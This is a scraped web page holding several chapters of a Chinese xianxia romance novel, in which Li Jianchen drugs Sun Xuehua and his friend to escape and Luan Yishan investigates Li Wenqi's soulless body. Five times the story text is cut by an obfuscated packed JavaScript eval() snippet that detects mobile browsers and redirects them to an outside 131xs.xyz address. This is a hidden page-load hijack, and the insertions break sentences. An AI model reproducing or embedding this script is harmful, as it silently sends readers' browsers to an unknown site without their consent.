他的神色很微妙,似乎在思考着什么,以至于说话的腔调都变得轻缓起来:“孙掌门,我不吃投机取巧这一套。” 李见尘其实已经动摇了,可他又不知道要如何表达,话一出口,就变了味,但他并不后悔,只是静静地注视着这个人,等着对方拂袖离去。 大概,是这样一个结局。 他等待着,就见孙雪华微微倾身,稍稍偏了下头,蜻蜓点水般地吻上了他的唇。 李见尘一下攥紧了指节,孙雪华握着他的手,轻轻闭上眼。那温热的气息萦绕在唇齿之间,他们只是简单地相依,那些反复无常的情绪、无从言说的过往被尽数压下,短暂地成为一个秘密。 李见尘忽然动了动,一把抱住这人,将他拉向自己。孙雪华扬起脸,和人分开了些许:“李门主,你这个也不算吧?” “事到如今,孙掌门还要与我明算账?” 孙雪华不言,李见尘搂着他的腰,与他额头相抵,轻声哄着:“哎呀,要不是我现在受伤了,我真的会做一些出格的事情。” 孙雪华注视着这个人,那双美丽的眼瞳里,正映照着自己的脸,严肃、端庄甚至可以称得上有些冷漠。哪怕他听说过无数次相似的评价,但从未像现在这样,感受强烈。 孙雪华默然,指腹划过对方的眼睫,惹得那浓密的睫毛颤了又颤,李见尘忍俊不禁:“怎么,孙掌门这是改变主意了?” “生气了而已。” 孙雪华指腹按在他的眉心,将那张令人讨厌脸推远了些,李见尘笑笑,顺水推舟,松开了这人:“是我逾矩了,我会等孙掌门回心转意的。” 孙雪华站起身,像是放空了一瞬,然后才低声回答道:“你不应该等,而是现在就要做出改变,是走向我,还是走向另外的一条路。” 他顿了顿:“很多时候,时间是不等人的。” 李见尘苦笑:“你怎么又开始教训人了?” “因为我由衷地希望,你能够走向我。” 孙雪华很是笃定,通身都散发着不容置喙的威严气度,李见尘一愣,旋即笑了起来:“如果我——” “我也不希望听见如果。” 孙雪华有些疲惫,他仍是无法适应和这人的谈话方式,可又实在割舍不下,便自作主张打断了这次对话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762411|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微颔首,转身离开了这个屋子。 李见尘的目光始终追随着他的背影,心里却空荡荡的,谈不上失落或是难过,更多的则是一种奇怪的焦灼感。孙雪华过分的清醒,这种清醒来源于他对自我的高度肯定,加上他超出常人的能力,所以他走的每一步,都极具冲击力和压迫感,李见尘甚至觉得,不是自己在引导这人,而是这人将自己牢牢掌握在了手中。 “不太妙啊。” 李见尘长叹,把脸埋进了被窝。 孙雪华出了屋门,就见薛闻笛迎面走来:“你们谈好了?” “一般。” “那就是没谈拢。”薛闻笛一语中的,孙雪华却感到一阵轻松,因为他知道,无论何种境遇,友人都会坚定地站在他身边。 “嗯,是这样。” “不管他,总要给彼此一点时间。” 薛闻笛的人生信条——任何逆境,保持乐观。 “我们今天去山上散散心,我都打听好了,这个季节,山上野鸡野兔很肥美。” 孙雪华莞尔:“这是你家还是我家?” “你家就是我家,那真要算起来,小鱼还是你外——”薛闻笛一想不对,自己这么说不就矮了一辈吗?他赶忙打住:“我师弟和你师侄,那也是来往密切,再过两年,也该说亲了。” 薛闻笛一张嘴就停不下来,孙雪华听着,渐渐从那些沉闷的情绪中抽离出来,他认真说道:“小楼,要是哪天我鬼迷心窍,你记得阻止我。” “鬼迷心窍?被眼前美色迷了眼吗?” “为什么是美色?” “那除了美貌,你还看上他哪一点啊?” 孙雪华忽然一愣,居然回答不上来。薛闻笛拍拍他的肩膀:“没事的,小雪,我能理解你。反正事情已经到这一步了,这强扭的瓜甜不甜,先吃了再说。” 孙雪华无奈地笑了笑:“我希望它是甜的。” “上天一定会保佑你的。” 薛闻笛说着,就准备带人出门,孙雪华回头看了眼紧闭的房门,想设下结界来保证李见尘的安全,可他出手的那一瞬间,又犹豫起来,蜷起手指,放弃了这个动作。 按照某人的性格,现在设下结界,只会换来冷嘲热讽。 “孙掌门这是要关我禁闭?” 孙雪华甚至能想象到李见尘会是怎么个阴阳怪气的样子,索性作罢。 54. 第 54 章 李见尘在房中独坐。 他端详着自己那颗莲花宝珠,珠心闪烁着一缕焰火似的灵光,内息磅礴,绵绵不绝。 这是孙雪华为了救他,特意留下的。 李见尘心绪百转千回。 他在江心洲布下法阵,最终目的,也是为此。孙雪华身为正道魁首,有着这世间最强大、最纯粹的力量,得到他,将他的力量融入宝珠,就能使自己免受封印之苦。因此李见尘以众人性命为要挟,胁迫对方屈服,虽然中间多了个小插曲,但他也算是如愿以偿,可为什么现在,他却一点都高兴不起来呢? 是爱吗? 可是爱意这种虚无缥缈的东西,于他而言,一无是处。 李见尘束好头发,沉默地下了地,离开了这方寸之地。 上山闲逛的孙雪华难以心静,眼前青山绿水,林木深深,如往日般宁静祥和。一只飞鸟直冲云霄而去,惊起一阵雀鸣,他也跟着不安起来。 似乎有什么事将要发生。 “我们回去吧,小楼。” 两手空空地来,两手空空地走。 孙雪华略感歉意,薛闻笛闻言,问道:“小雪,你还担心他吗?” “嗯。” 孙雪华应着,平静的外表下却生出些许茫然无措来。他唤着友人的名字:“小楼,我对他,其实束手无策。我既不能一直将他关在家里,保证他不出去闯祸,又不能劝说他早些回头,待在我的身边。” 薛闻笛沉吟片刻:“喜欢一个人就是这样,辗转反复,患得患失,可如果不想失去对方,总要想些办法才是。我觉得,你之所以觉得被动,是因为你对他并不了解,你除了知道他曾是听海崖掌门,其他的你一概不知。我们不如去找一趟那里,问问尤小帆有没有流传下来的记载,或者,我们去五柳山庄,问问阿音和李闻棋。” 孙雪华思量着,微微点头,很快就与友人一道回去。 李见尘并不在家中。 二人皆是一怔,孙雪华从这头走到那头,四下转了一圈,仍是不见对方踪影,脸色顿时沉了下来。他素来冷静,并不是一个易怒之人,但李见尘几次三番挑战他的耐心,属实不该。他轻轻握了握拳,复又松开,千里传音回至临渊。 “师兄。” 师妹顾青的声音从阵法的另一头传来,多有些关切,以师兄的性子,若非迫在眉睫,绝不会如此行事。 “阿青,我有一事需请你帮忙。”孙雪华顿了顿,没有细说这段时间发生的事情,只道,“还请你带上几名弟子,赶往听海崖,替我调查一个人。” “谁呢?” “李见尘。你只管报上这人姓名,将所得消息全部告诉我便好。” “好,我现在就去安排。”顾青听了,虽是心有困惑,觉得师兄应该是遇到了什么麻烦,但一想薛闻笛正在对方身边,便没有追问,说着,“小楼,也拜托你了。” “你放心,情况有点特殊,待我得了空,再与你细说。”薛闻笛应着,顾青便安心许多,与孙雪华约定五日后再联系,便去安排相关事宜。 “小楼,我们现在去五柳山庄。” 孙雪华舒展开眉眼,看上去没有那么生气了,可薛闻笛却觉得,如果现在李见尘突然出现,他大概会被打个半死。 “那人受了伤,应该不会跑太远,我们先在附近找找看?” 薛闻笛提出了不同的意见,孙雪华展开右手,灵力顺着掌纹汇聚,一点灵光乍现,隐约可见那颗宝珠的影子。 人来人往,似乎是个热闹的地方。 “走吧。” 孙雪华大概知晓了李见尘的方位,抬脚便走,薛闻笛忙跟了过去。 他们往东边去,走过他们常去钓鱼的池塘,穿过狭窄的巷道,来到镇上唯一的一处市集。这个镇子不大,说是市集,前前后后也不过一里地,但因为路窄,所以显得人多。孙雪华气宇轩昂,目不斜视,走在这路上,行人纷纷投来打量的目光。孙雪华顾不得许多,只觉得那颗宝珠的气息越来越近,直到—— 李见尘坐在一个面摊边上吃面。 孙雪华脚步一顿,对方显然也看见了他,一脸完全游离天外,不知道发生了什么事的无辜表情:“你,你也来吃面吗?” 孙雪华:“……” 他沉默地走过去,坐在对面,隔着一张四角桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762412|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和人对视。薛闻笛也不敢多说什么,坐在他们中间,向店家又要了两碗面。 桌上的气氛异常古怪,李见尘明明知道,还不怕死地笑了笑:“孙掌门亲自来找我吗?” “面好吃吗?” 孙雪华反问,薛闻笛一惊,眼神示意李见尘最好服个软,可对方压根儿没看他,笑意盈盈地注视着孙雪华:“当然好吃了,孙掌门也可以尝尝。” “看来是我饿着你了。”孙雪华面露不虞,李见尘托着下巴,调笑着:“哪儿的话?我就是闲着无聊,出来转转,倒是孙掌门这么着急找我,不会是担心我偷跑了吧?” 话音刚落,孙雪华就在桌子底下踹了他一脚,李见尘重心不稳,一下从凳子上摔了下去。 “孙霁初!” 李见尘还没爬起来,就被封住了哑穴,被拖进了一条小巷里。薛闻笛欲言又止,匆匆给了店家一串铜钱,连面带碗一同买下,抄近路回了家里。 “哐当——” 孙雪华一脚踹开房门,将人扔到了床上,那床榻本来就小,李见尘后脑勺直接磕到了墙上,一阵眼冒金星。 “我惯着你了是不是?” 孙雪华一把揪住他的衣领,李见尘有点晕,迷迷瞪瞪地抱住他:“我怎么惹你了?我饿了不行吗?” “我——”孙雪华一拳还没下去,李见尘就把脸埋在了他身前,哼哼着,看上去似乎真的有些难受。孙雪华心软下来,慢慢松开手,轻轻地摸了摸他的头。 李见尘看他态度软了下来,就问:“你怎么找到我的?” “明知故问。” 李见尘若有所思:“还是孙掌门有本事,能在短短的时间内与我的宝珠产生感应。” “这不就是你所期盼的吗?三番两次设局,不就是为了这个?” 李见尘心下一颤,忽地抱紧他,像是要将这人拥进自己的血肉里。 “小雪,有时候太聪明并不是件好事。” 孙雪华不言,李见尘的体温源源不断地传来,像燥热的夏风,将他紧紧包围。 不够聪明的话,怎么留下你呢? 他这么想着,却无法说出口。 55. 第 55 章 “小雪,我带了面回来,你出来吃点吗?” 薛闻笛的声音在屋外响起,孙雪华便准备去找他,可李见尘抱得实在太紧,一下居然没推开。 “松开。” 孙雪华向后仰了仰,按着人的肩膀想把他从身上扒下来,结果李见尘压根儿不吃这套,抱着他,装出一副虚弱可怜的模样,嘟囔着:“我也要吃面,我还没吃饱。” “没人不让你吃,先给我松开。” “我松开你再打我怎么办?” “谁打你了?不是你不告而别在先?” “哎呀,原来小雪是在气我不告而别?” 李见尘语气又飘了起来,孙雪华本来已经消下去的火气又隐约冒了头,但他并没有发作,只是冷着脸警告:“我若是真动手,你现在就不是这样跟我说话。” “唔,小雪真是严肃。”李见尘笑笑,见好就收,他可不是什么上赶着讨打的人,很快就撒了手,一脸乖顺地跟着人出了房门。 薛闻笛在院子里支了张小桌,将碗筷摆好,指着其中一碗吃剩的面条,对李见尘说道:“哝,你的。” “谢谢你,真是难为你还把我的那份带回来。” 李见尘故意压低了声音,这就有些听不出来他是不是在阴阳怪气,可薛闻笛和孙雪华也懒得管他,三个人又是一人一碗面,围坐在桌前,谁都没有说话。刚刚的事情仿佛翻篇了,只要李见尘不再作妖,那么今天就可以是风平浪静的一天。 薛闻笛提心吊胆了很久,生怕那人又开始哪壶不开提哪壶,惹得小雪不高兴。可李见尘并没有,相反,十分安静,甚至于有些病恹恹的,面也不吃,伸着筷子搅和了半天,将好好的面条捣得稀烂,而后可怜巴巴问着:“吃不下去了,能拿去喂鸡吗?” “随你。” 孙雪华已经不生气了,但也没有心软,仍是一副不近人情的样子。李见尘眼皮都没抬,端着那碗面,就走到了鸡舍边。里头的小鸡崽正在打盹,一团团地挤在一处,像柔软的黄豆糕,可爱极了。不过李见尘并没有心情去看它们,手一歪,将那些烂掉的面条倒进了食槽里。他听着淅沥的水声,眉梢一挑,随手将那空碗扔在了地上。 薛闻笛忽感一阵胸闷,眩晕感旋即而来,孙雪华察觉到了异样,忙扶住他:“怎么了?” 薛闻笛摇摇头,四肢也逐渐麻木起来,体内运转的灵气像是在一瞬间凝滞了,根本支撑不了他的身躯,他手脚发软,跌坐在地。孙雪华刚要去扶他,却也感到天旋地转,“扑通”跪倒在地。 只有李见尘好端端地站在他们面前。 孙雪华瞬间醒悟过来:“那碗面?” “是啊,好吃吗?”李见尘弯下腰,笑眯眯地摸了摸他的脸,“我特意赶在你们来之前,在店家煮面的汤锅里下了药。哎呀,对了,为了不让小雪为难,这药,只对修仙之人起效。” 孙雪华咬牙,气得肩膀微微发颤,可他居然无法握紧双手,更无法运转灵力,整个人仿佛被闷在一个罐子里,难以自由活动。 “你要做什么?”他瞪了李见尘一眼,原本冷肃的眼眸在这一瞬间,迸发出了强烈的怒意。 李见尘捧着他的脸,拇指指腹轻轻擦去了他嘴角残留的汤汁,柔声哄着:“别生气呀,我只是要离开这里,迫不得已,才出此下策。” “你到底有什么目的?宋家已灭,你不是大仇得报了吗?若是因为李闻棋,他的事情大可以另寻办法,你——” “小雪是不是舍不得我?” 李见尘忽然打断了他来势汹汹的质问,孙雪华神色一滞,薄唇紧抿,没有回答,可那灼热的视线始终没有从对方身上移开。 李见尘半蹲着,轻轻摸着他的脸,眼神无辜又单纯,仿佛游离在整个事件之外。 一滴热汗从孙雪华额上落下,滑进了他的眼中,激起一阵酸涩。孙雪华闭了闭眼,一股难言的痛楚从内心深处涌了上来:“我舍不得你,我舍不得你,你就不会走了吗?” 李见尘听了,竟是笑了起来:“是啊,你就算说了,我也一样会走的。我们从来不是一路人。” 孙雪华睁开眼,不知是之前汗水入眼的原因,那眼瞳之中,已然有了几分血丝,李见尘一怔,仍是在笑,他伸手抚过对方的眼睫,轻声道:“小雪这么看我,真是让我舍不得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762413|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你到底要做什么?你告诉我,我可以帮你。” “我要去杀人,小雪也要帮我吗?” “李见尘!” 孙雪华当真怒了,他奋力挥拳,可那不知名的药效却远比之前强烈,他一点灵力都使不上,心头闷痛,又吐出一口血来,全都喷在了李见尘身上。 “小雪,你先前就中了毒,还没有完全好,现在又贸然发力,只会越伤越重。” 李见尘抱着他,摸摸他的背,笑意不减,“你好好养伤吧,日后若是有缘,我们自会相见。” 话音未落,孙雪华就觉眼前一黑,昏了过去。 李见尘将他抱回了屋内,给他盖好被子,指尖拂过他的眉眼,低声道:“孙掌门,再见之日,也许我们只是不死不休。” 言罢,李见尘拂袖而去,路过院中,薛闻笛也不知何时昏了过去,倒在地上,沉沉地睡着。李见尘瞥了他一眼,颇有些戏谑:“就这点本事吗?也不知道小雪为什么会与你称兄道弟。” 小院寂静,连路过的夏风都悄无声息,那新栽的月季开得正艳,犹如一簇烈火,轰轰烈烈地燃烧着。李见尘默然片刻,折下一枝,藏在袖中,离开了这小小一隅。 待人走远,薛闻笛一骨碌爬起来,放出自己的雨燕,继续追踪李见尘的踪迹。他出身锁春谷,春花秋月,夏虫冬雀,皆可为其所用。 李见尘没有察觉,他折下的那支鲜花上,附着着一丝不属于他的灵力。 薛闻笛虽然也中了招,但不知是不是没有大动肝火的原因,他的情况要比孙雪华好上一些,虽然头重脚轻,但起码能动。他摇摇晃晃走到好友身边,从灵囊中取出一颗丹药,给人喂了进去,而后自己才吞了一颗。 “不知道会不会有效。” 薛闻笛自言自语着,看东西都有重影,他感觉这应该是一种迷药,只是从前没见过,也许是李见尘为了绊住他们特地调制的。 薛闻笛能想象出孙雪华醒来,该是何种失望的模样。 “复仇,到底要向谁复仇呢?” 薛闻笛头脑发胀,眼下只能期待听海崖那头尽快回来消息了。 56. 第 56 章 话分两头。 江心洲一别,栾易山便携尹晓棠、阿音等人返回五柳山庄,谢照卿本意是护送他们一程,而后独自归山,可中间收到一封来信,便改了计划,一路送他们到了明山城。栾易山都不用细想,就知道那封信是谁寄来的,难得客气地说道:“改日我必登门拜谢凌前辈。” “你怎么不谢谢我?” 谢照卿许是路上闷了,竟和人开起了玩笑,栾易山斜睨了他一眼,一脸冷漠:“你?真要谢起来,你得先给我磕两个头吧?” 谢照卿:“……” 真是搬起石头砸自己的脚。 尹晓棠听了,完全在状况外,笑着:“栾前辈和谢前辈以前认识啊?” “不认识。” “嗯。” 两个人给出了截然不同的答案,谢照卿只好改口:“以前不认识,现在认识了。” “哦哦。”尹晓棠似懂非懂地点了点头,老实说,在栾易山跟前,她也不敢乱说话,只得装聋作哑。 一行人顺利回到了五柳山庄。 望着熟悉的大门,尹晓棠虔诚地鞠了一躬,心里默念着:“爹,娘,我回来了。” 她又瞄了瞄栾易山,心下叹着:“不知道栾前辈会不会同意继续教导我。” 这次宋家之祸,她也没能证明自己,还差点折在里头。 尹晓棠有些丧气,但她想想孙雪华也曾夸她是个勤奋之人,就很快振作起来,推开大门,带着一行人进去。 五柳山庄式微,空有一个庞大的外壳,实则已经没有多少人在了,连看门的小厮也在大管事走后回了老家。尹晓棠出门在外,只上了一道外锁,再设了一道结界,防止外人闯入。也好在五柳山庄名声大不如从前,又地处偏远,除了来往商客,几乎也无人会来。这道结界提防一些小毛贼绰绰有余。 阿音看见那些肃穆的高楼,突然激动起来,到处飘来飘去,栾易山又给她加了一道禁咒,防止她跑远了,找不见人。阿音非常愤怒,掀了好几块地砖,尹晓棠心疼坏了:“别打别打,这些地砖都是老庄主在世时,请人翻修的,你打坏了,我修不来。” 阿音听了,居然真的停了下来,挽着尹晓棠的胳膊,轻飘飘地跟着人走。栾易山给他们安排了房间,俨然一副当家做主的模样,谢照卿想揶揄他几句,但看看人的脸色,便也作罢。一路沉默寡言的金伯涛被关了禁闭,不知生死的李闻棋被栾易山留在身边,他叮嘱尹晓棠:“江心洲发生的任何事都不许告诉别人,还有,这段时间不要和金伯涛单独接触。” “为什么呀?” “因为你这个笨蛋容易被骗。” 尹晓棠:“……” 无力反驳。 毕竟栾易山在她心目中就是个很聪明的人。 尹晓棠点点头:“是,栾前辈。” “你这几天就照顾好那个小鬼就行了。”栾易山指了指阿音,对方又怒了几分,连头发丝都飘了起来,尹晓棠连连安抚着,好不容易才将人安抚好,栾易山又将门一关,让他们哪儿凉快哪儿待着去。 谢照卿沉默片刻:“姓栾的脾气真大。” “栾前辈人好的,就是嘴毒了点。”尹晓棠夹在中间,忙打了个圆场,说带他们去集市上逛逛,可谢照卿说他累了,就回了自己房间休息,阿音也不愿意出门,徘徊在门口,像是在担心李闻棋的事情。 尹晓棠又劝道:“阿音姑娘,你不要着急,栾前辈既然答应会救他,就一定会倾尽所能的,你先随我去休息休息吧。” 我也有点累了。 尹晓棠有点头大,好在阿音没有折腾她,慢悠悠地点头同意了。她们一道去休息,偌大的山庄经过一番短暂的热闹,很快就归于原地。 栾易山关上房门,用一道灵锁捆住李闻棋的双手,牵着这副空荡的躯壳穿过密室,来到一处地宫内。这里本是五柳山庄用来饲养猎魂鹰的塔楼,可之前因为一场祸事,导致塔楼完全坍塌,地面建筑已不复存在,只剩下地基和下面的地宫。 栾易山选择此地,一是因为地方隐蔽,二是地宫大多异曲同工,幽深寂静,李闻棋若是恢复意识,应当不会立刻表现出抗拒之色。 他思量着,牵着李闻棋在角落里站好,自己则是去点燃了地宫的壁灯。烛火一亮,整个空间都明亮起来,那幽暗的气息散去许多,倒显出几分安宁来。 栾易山端详着李闻棋的肉身,又看了眼手中的灵符,对方的魂魄被他暂且封印其中,从目前已知的信息来看,李闻棋只效忠于李见尘,且自我意识无法被唤醒。栾易山咋舌,将那张灵符重新塞入灵囊中,接着就走到李闻棋跟前,轻轻揭下他蒙眼的飘带。 李闻棋眼角下方,有一道很浅的疤,看上去是撞到了桌角或是其他相对锐利的东西留下的。眼睫很黑,闭上眼睛的时候,显得很年轻。 栾易山思量着,解开他身上的衣物,骨骼肌肉很匀称,是常年练剑留下的痕迹,侧腰和膝盖上各有一块淤青,应当是摔倒所致,除此之外,并没有其他任何伤痕。 “看来李闻棋,没有反抗毒杀他的人。” 栾易山捻着手指,沉思良久。 从李闻棋和他交手的情况来看,这人修为并不低,起码比宋忱和黎思之那两个畜生强上很多。这般人物,即使中毒,也不应该立刻毫无还手之力,任人宰割。 难道,当时在场的,还有别人?还是说,他中的毒异常之烈,导致他当场毒发身亡? 栾易山眉头微蹙,从灵囊里翻出一根银针,从他印堂穴刺入,指腹微捻,将自身灵力缓慢注入。 “嗯?” 栾易山察觉到一丝不对劲。 李闻棋体内并没有中毒的迹象。 他循着对方经脉,再次深入,仍是一无所获。 李闻棋没有中毒? 栾易山撤了银针,将其销毁。他走南闯北数十年,不说是一代宗师,但奇闻异事,他也算见怪不怪,对这些旁门左道亦是有所研究,不可能连对方是否中毒都测不出。 是那群人,在说谎? 栾易山不解,又观察起李闻棋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762414|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人虽说只剩躯壳,但没有丝毫戾气,可见生前并无怨念。可被至亲之人毒死,当真不恨?换成是他,哪怕变成厉鬼,他也会去半夜索命。 栾易山默然,目光落到李闻棋口中衔着的金箔上。他微叹,镇定地取下那片薄薄的金箔。 无事发生。 栾易山不记得是谁说过这个金箔不能取,取了会有大灾,可现在来看,似乎没有什么特别的。 李闻棋依旧平静,像是睡着了。 栾易山取出那张灵符,缓缓开口:“李闻棋,我现在将你的魂魄归还于你。” 手中灵符翻飞,似有清风徐来,带来一股似曾相识的异香。 还魂失败,而那异香和李见尘身上的一模一样。 栾易山更是困惑,李见尘在李闻棋身上动了手脚?是为了保护他,还是,别有目的? 栾易山再次施术,发觉李闻棋的肉身与魂魄似乎被一种无形的力量阻隔,使他无法形神合一。 栾易山没有强求,将这张灵符收好,出去找了一趟尹晓棠,结果对方在睡觉,阿音也蔫了,直挺挺地躺在她身边,动也不动。 栾易山便没有吵醒他们,径直去了禁闭室,见了见金伯涛。 “认识我吗?”他问,金伯涛抬眸看了他一眼,摇摇头。 栾易山似笑非笑:“晓棠和我说她要出门,帮朋友一个忙,我还当是个老实人,没想到你就这么坑害她。” “我是对不起晓棠,不是对不起你。”金伯涛一点都不想搭理他,栾易山嗤了一声:“我是晓棠的师父,你害我徒弟,不就是害我?退一万步讲,你在五柳山庄修行数年,我山庄可曾亏待过你?你却昧着良心偷盗战死同门的骨韘,居心何在?” 金伯涛不言,面上似有愧色,栾易山没有步步紧逼,只是别有深意地注视着他,像是在等待着山穷水尽的猎物自投罗网。半晌,金伯涛从衣物夹层中,取出一个小小的铁盒,交到了对方手上。 栾易山神色微妙,打开铁盒一看,里边正躺着一枚骨韘,大部分保存完好,只有边缘有些磨损,内侧刻着一个小字。 “萧。” 栾易山眼神一沉:“这个,你从哪儿得来的?” “我接到任务的第一天,阿音送过来的。她说让我去捡和这个东西有感应的骨韘,没感应的不要。我知道她的意思,只有用猎魂鹰的骨头做成的骨韘,才会彼此之间感应。” 金伯涛没有隐瞒,一五一十地说着。 “然后呢?你没有将它也置入阵中?” “本来是想的,可是,”金伯涛顿了顿,“我想起来晓棠说她母亲姓萧,我就犹豫了,想着,万一这个是她母亲的,也许等事情败露,她会原谅我。” “只有你这种蠢货才会痴人说梦。” 栾易山轻飘飘地说着,可每一个字都透着无比的寒意,金伯涛低头,不再看他。 栾易山收了那枚骨韘,撇开这个话题,追问道:“你是李闻棋的徒弟,当年,你师父身亡时,你究竟看到了什么?” 57. 第 57 章 金伯涛仍是低着头,似乎并不愿意向这人坦白,栾易山冷着脸:“我数到三。” “一。” “二。” “三。” 话音未落,金伯涛便缓缓开口道:“那天下着大雨,我没有看得太清楚。” “没有看得太清楚?” “嗯。那时候年纪也小,很多细节都忘记了。” 栾易山紧盯着他,像是在考量他这个回答的真实性。 “上一个欺瞒我的人,已经投胎很久了。” 栾易山轻声说着,金伯涛沉默片刻:“我确实记不太清了,而且那天雨大风大,屋里特别黑,只有雷劈下来的那一瞬间,我看见师父倒在地上,宋忱和黎思之站在他身边。我吓坏了,扭头就跑,中途撞到了一个人,我感觉那是师祖,可是当时我太害怕了,眼睛也睁不开。” 栾易山听了,追问道:“你确定宋忱和黎思之都在你师父屋内?没有其他人?还有,你为什么觉得你中途撞见的那个人是你师祖?” “我们听海崖,门生弟子并不多,宋忱和黎思之我时常见,单看身形,应当不会认错,而且,祖师爷也证实了这一点。” 金伯涛语速很慢,边说边回忆着,“至于中途撞到的那个人,因为我们听海崖常年被迷雾岚瘴笼罩,所以香炉是必备的,用来驱虫除害,防止毒气深入。那人身上的味道和师祖很像,所以我才会有这种感觉。至于当时房里有没有其他人,我就不知道了。” 栾易山问道:“你撞到的那个人,后来去了哪里?” 金伯涛摇摇头。 “如果那个人是你师祖,那她目睹你被人追杀,不应该无动于衷才对。” 栾易山认为此事十分蹊跷,一是李闻棋身上没有任何反抗的痕迹,二是金伯涛撞见的那个人到底是不是林采荷,若真是她,目睹了此等惨案,为何后续没有采取任何行动?反而任人拿捏,将掌门之位传给黎思之,后又郁郁而终? 林采荷。 栾易山对这个人,只有很浅的印象,当年五柳山庄与听海崖交好,他便从老庄主口中听说过此人,但也仅仅是只言片语,很难从中推测出对方的其他信息。 栾易山思量片刻,问道:“李见尘对此事是什么看法?” 金伯涛仍是摇了摇头。 “是你不知道,还是李见尘没有表态?” 栾易山不喜欢他这种傻不愣登的样子,莫名有些窝火,金伯涛轻叹:“祖师爷说他知道了,让我不要多问,这件事和我们之后的复仇计划关系不大。” “哦?也就是说,李见尘其实心里已经有了答案?” “此话怎讲?” 栾易山一记眼刀杀了过去,一句“白痴”挂到嘴边,还是咽回去了。 不值当,没必要。 栾易山站起身:“你待在这儿,比外头安全很多,如果你非要寻死,那我也不强求。” 言罢,他转身就要走,金伯涛忙朝前扑了一把,抓住他的裤腿:“我师父怎么样了?” “现在担心起来了?早干嘛去了?” 栾易山脚一抬,头也不回地走了。金伯涛跌坐在地,捆着他的锁链“当啷”直响,他掩面,遮住发红的眼角。 栾易山从禁闭室出来,天色有些暗了,庄内为数不多的几个仆人匆匆点了几盏灯,但大部分建筑仍然暗沉一片,肃穆庄严。 栾易山向远处眺望,眼神却放空了许多。他盘算着,眼下山庄人丁稀少,门可罗雀,只有他和谢照卿稍微能打一些,临渊远在千里之外,请人支援并不现实,何况,孙雪华和李见尘之间颇有纠缠,若是此刻拜叩山门,极有可能激化双方矛盾。 栾易山思来想去,大概只有一个人能来了。 他回屋修书一封,将其寄在信鸽腿上,放飞于庄外。那鸽子直冲云霄,很快就消失在茫茫山脚之下。 栾易山算算时间,没有再做安排,兀自休息去了。 接下来的几天倒也风平浪静。 阿音似乎挺喜欢尹晓棠的,时常跟在她后面,只是偶尔瞥见站在角落里的栾易山,又害怕似的往人身后躲。 “没事的,栾前辈就是刀子嘴豆腐心,他人很好的。”尹晓棠安慰着,又朝栾易山招招手,“栾前辈,你和我们一道去市集吗?” 对方揣着手,慢悠悠地从台阶上下来,走到她们跟前:“走吧。” 尹晓棠眼前一亮,她没想到栾易山会这么爽快地答应,忙不迭说道:“我请你吃饭。” “再说吧。” 栾易山眼神微转,落到了阿音身上,对方警惕地向后缩了缩,搂着尹晓棠的肩膀,明明被飘带覆住了双眼,可栾易山仍是察觉到了那充满敌意的视线。 “你们听海崖的鱼一定很难养吧?” 阿音:“?” “因为白痴养不活。” 阿音:“……” 她敢怒不敢言,覆眼的飘带也随之打了个结,栾易山理都没理,长腿一迈,就出了大门。尹晓棠忙拉着阿音跟紧他,劝着:“阿音姑娘,回头我给你买点好吃的,你别生栾前辈的气。” 阿音听了,仍是堵着一口气,搂着她的胳膊,喉咙里发出了意味不明的声响。 气得阿音都快说话了。 尹晓棠叹着,栾前辈这个脾气,怎么好像越来越大了一样? 可她想起从前大管事的叮嘱,又很快原谅了对方。 “小山小时候身弱,腿脚不好,性格孤僻,只有我们会带着他出去玩。后来他姐姐没了,我们大家伙儿也是死的死,散的散,小山脾气是坏,但你要是跟着他修行,他定会照拂你一二,你别怕,他不会丢下你的。” 大管事的遗言犹在耳边,尹晓棠注视着栾易山的背影,又轻轻拍了拍阿音的手背,没有说话。 